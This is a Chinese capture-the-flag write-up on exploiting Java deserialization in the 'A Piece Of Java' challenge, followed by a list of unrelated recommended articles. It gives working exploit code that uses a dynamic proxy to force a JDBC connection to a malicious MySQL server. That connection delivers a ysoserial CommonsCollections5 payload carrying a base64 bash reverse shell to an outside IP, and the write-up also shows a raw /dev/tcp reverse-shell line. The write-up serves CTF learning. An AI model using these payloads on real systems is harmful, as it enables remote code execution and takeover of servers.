[羊城杯 2020]A Piece Of Java

2023-11-15

[羊城杯 2020]A Piece Of Java

源码分析

将jar放进jd-gui中查看源码
在这里插入图片描述

主要看两个路由,index和hello,在/hello路由中,会对我们传入的cookie进行反序列化,这个cookie是我们可控的
在这里插入图片描述

而且这个cookie是由UserInfo类对象序列化得到的,跟进,我们发现源码中存在InfoInvocationHandler类,其含有invoke方法,且继承了InvocationHandler接口,所以到这里就可能是动态代理了

其实到这里反序列化,再加上cc链可以直接打,但是题目做了限制,在反序列化那里,有个SerialKiller
我们查看serialkiller.conf
在这里插入图片描述

正常的cc链中不只用到这些,需要用到其他的,所以不能直接打

注意看这个InfoInvocationHandler类中的invoke方法,有判断语句
在这里插入图片描述

然后再看DatabaseInfo类,其含有getAllInfo方法和checkAllInfo方法
在这里插入图片描述

所以我们可以通过代理,外部调用,触发invoke,然后跟进checkAllInfo,然后进入connect,连接恶意mysql服务端,通过恶意服务端来进行cc链的执行
调用链为

Info.getAllInfo()
  -->InfoInvocationHandler.invoke
    -->DatabaseInfo.checkAllInfo
      -->DatabaseInfo.connect()

从后往前测试,逐步写exp

从DatabaseInfo.connect()开始
我们看这个DatabaseInfo类的构造函数,发现它是通过很多方法来对类属性进行赋值,所以我们通过反射可以解决这个问题
这个类和成员变量是私有(private)的,不过成员方法都是public的
下面测试一下,测试成员变量的调用,以及成员方法的调用

package gdufs.challenge.web;

import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class exp {
    public static void main(String[] args) throws Exception{
        Info databaseInfo = new DatabaseInfo();
        Class c = databaseInfo.getClass();
        //改变成员变量
        Field usernamefield = c.getDeclaredField("username");
        usernamefield.setAccessible(true);
        usernamefield.set(databaseInfo,"sk1y");

        //调用成员方法
        Method getUsernameMethod = c.getMethod("getUsername");
        String a =(String) getUsernameMethod.invoke(databaseInfo);
        System.out.println(a);
    }

}

运行结果
在这里插入图片描述

我们可以写一个函数来代替反射的这些步骤

构造DatabaseInfo类对象

这里有好几种方法吧,本来是看那个成员变量是私有的,也可以通过getDeclaredField来进行赋值

    //通过getDeclaredField改变对象属性值
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    //主函数中调用
    Info databaseInfo = new DatabaseInfo();
    setFieldValue(databaseInfo,"username","admin");

然后DatabaseInfo类中成员方法都是共有的,所以也可以通过反射获取类的成员方法类进行赋值

   //通过getmethod来修改类对象的值
    public static void setField_method(Object obj,String methodname,Object value) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
        Method method = obj.getClass().getMethod(methodname, String.class);
        method.invoke(obj,value);
    }
    //主函数调用
	Info databaseInfo = new DatabaseInfo();
    setField_method(databaseInfo,"setUsername","root");

后来我发现,既然成员方法是共有的,那不是可以直接就使用成员方法进行赋值呗,(可恶啊,把基本的方法忘记了)
注意,通过直接调用成员方法的时候,定义类对象的时候用

DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("vps");

而不是

Info databaseInfo = new DatabaseInfo();

这波是自己憨批了。。。

InfoInvocationHandler

InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);

动态代理

//然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
        Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);

序列化

//序列化部分,参考MainController.java
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        //将序列化结果输出
        System.out.println(Base64.getEncoder().encode(baos.toByteArray()));

exp

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception{
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("vps");
        databaseInfo.setPort("7007");//恶意mysql服务端端口
        ///bin/bash -i >& /dev/tcp/vps/7015 0>&1   反弹shell监听的端口
//        databaseInfo.setUsername("yso_URLDNS_http://hud0xf.ceye.io");
        databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4LzcwMTUgMD4mMQ==}|{base64,-d}|{bash,-i}");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        //System.out.println(databaseInfo.getUsername());
        Method getUsernameMethod = databaseInfo.getClass().getMethod("getUsername");
        String a =(String) getUsernameMethod.invoke(databaseInfo);
        //System.out.println(a);
//        Class c = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        //创建一个InfoInvocationHandler类对象
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        //然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
        Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
        //序列化部分,参考MainController.java
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        //将序列化结果输出
        //这里的输出语句要注意不要使用System.out.println();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }

}

恶意服务端

https://github.com/fnmsd/MySQL_Fake_Server

注意要将ysoserial-0.0.6-SNAPSHOT-all.jar包放在该目录下
然后修改server.py,因为我的3306已经占用了

进行DNS请求,恶意服务端这里有响应

在这里插入图片描述

恶意服务端有响应
在这里插入图片描述

构造反弹shell

/bin/bash -i >& /dev/tcp/vps/port 0>&1

在这里插入图片描述

然后监听处也会有回显
在这里插入图片描述

参考链接

  1. https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/
  2. https://guokeya.github.io/post/t746TU6pM/
  3. https://blog.csdn.net/fmyyy1/article/details/122706761
  4. https://bbs.ichunqiu.com/thread-60356-1-1.html
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[羊城杯 2020]A Piece Of Java 的相关文章

随机推荐

  • linux上使用libreoffice对文件类型转换

    目录 libreoffice下载与安装 使用 常见问题 libreoffice下载与安装 1 手动下载 https www libreoffice org download download libreoffice type deb x86
  • JVM类加载机制以及类缓存问题的处理

    当一个java项目启动的时候 JVM会找到main方法 根据对象之间的调用来对class文件和所引用的jar包中的class文件进行加载 其步骤分为加载 验证 准备 解析 初始化 使用和卸载 方法区中开辟内存来存储类的运行时数据结构 包括静
  • 安装cvxpy之后,报错The solver GLPK_MI is not installed

    安装cvxpy之后用的时候 报错The solver GLPK MI is not installed 这边我们可以用以下代码查看已经安装的下载器 print cvxpy installed solvers 在安装个cvxopt即可 pip
  • 基于SpringBoot的财务管理系统

    末尾获取源码 开发语言 Java Java开发工具 JDK1 8 后端框架 SpringBoot 前端 Vue 数据库 MySQL5 7和Navicat管理工具结合 服务器 Tomcat8 5 开发软件 IDEA Eclipse 是否Mav
  • 解决:com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure(真实有效)

    数据库连接失败 一 例如我在SpringBoot项目中使用了阿里的数据库连接池Driud 有次在启动的时候 会报这样的错 Caused by com mysql cj exceptions CJCommunicationsException
  • 艺术品拍卖爬虫:使用Python抓取艺术品拍卖网站上的拍卖信息与成交价格

    目录 第2部分 爬取艺术品拍卖网站数据 2 1 确定目标网站 2 2 获取页面内容 2 3 解析网页内容
  • 学习编程有必要做笔记吗?

    小编发现W3Cschool的程序员很喜欢记笔记 桌面永远挂着个笔记软件 笔记本也写的密密麻麻的 那么做编程真的有必要做笔记吗 怎么记呢 一起来看下知乎网友怎么说 花生PeA 记不记笔记看情况 比如题主学的HTML CSS PHP 已经有十分
  • 行内元素的默认的横向边距与纵向边距

    行内元素在渲染是会默认添加右侧和底部边距 如果在多个图片排列时这种情况就比较明显 当我们需要在布局上完全无边距的时候就需要去除这些编剧 去除方法就是 在单元元素上添加下面对应的属性去除边距 去除横向边距 x noSpace font siz
  • 梯度下降法解决线性回归

    用梯度下降的优化方法来快速解决线性回归问题 import tensorflow as tf import numpy as np import matplotlib pyplot as plt import os os environ TF
  • 560. Subarray Sum Equals K

    Given an array of integers and an integer k you need to find the total number of continuous subarrays whose sum equals t
  • Java服务器授权+授权工具部分代码及思路

    目标 项目部署到服务器上 需要当前服务器授权后才能正常访问 控制项目授权日期 某终端 通道 授权数量 用户登录访问菜单权限 注 授权端 授权工具在自己手里 控制授权 在此我称之为授权工具 被授权端 jar包部署的服务器端 在此我称之为服务器
  • 大学生团体天梯赛(第十届)

    题目地址 天梯赛 include
  • 【区块链技术工坊45期】陈军:用案例解析通证经济模型设计

    1 活动基本信息 1 题目 区块链技术工坊45期 案例解析通证经济模型设计 2 议题 传统的新技术出现 人们只需要精通其语言规范和工具即可付诸应用 而区块链技术的出现却伴随着一个新的经济概念 即通证经济 有人说没有通证经济模型的区块链应用不
  • 专题:编程案例

    目录 案例一 买飞机票 代码优化 总结 案例二 求区间之内的素数 案例三 开发验证码 随机验证码的核心逻辑 案例四 评委打分 案例五 数字加密 案例六 模拟双色球系统 案例一 买飞机票 import java util Scanner pu
  • java 多线程之 implements Runnable

    请看以下题目 public class testController implements Runnable int b 100 synchronized void m1 throws InterruptedException b 1000
  • 移动端适配dpr

    1 移动端适配的代码 设计稿iPhone6 如下 function doc win seMetaTagScale doc win var fn function var deviceWidth doc documentElement cli
  • 如何用linux命令查看日志

    关注我 升职加薪就是你 压缩命令 tar czvf info log tar gz info log 把info log压缩为info log tar gz 通常压缩率能达到20倍左右 查询压缩文件内容 zcat info log tar
  • 如何帮服务器设置虚拟内存,服务器里面怎么设置虚拟内存

    服务器里面怎么设置虚拟内存 内容精选 换一换 对象存储调优主要分为 冷存储配置调优所有数据盘都是机械硬盘 HDD 的场景 即DB WAL分区 元数据存储池都使用机械硬盘所有数据盘都是机械硬盘 HDD 的场景 即DB WAL分区 元数据存储池
  • binlog_do_db 与 binlog_ignore_db

    前言 经过前面文章学习 我们知道 binlog 会记录数据库所有执行的 DDL 和 DML 语句 除了数据查询语句select show等 注意默认情况下会记录所有库的操作 那么如果我们有另类需求 比如说只让某个库记录 binglog 或排
  • [羊城杯 2020]A Piece Of Java

    羊城杯 2020 A Piece Of Java 文章目录 羊城杯 2020 A Piece Of Java 源码分析 从后往前测试 逐步写exp 构造DatabaseInfo类对象 InfoInvocationHandler 动态代理 序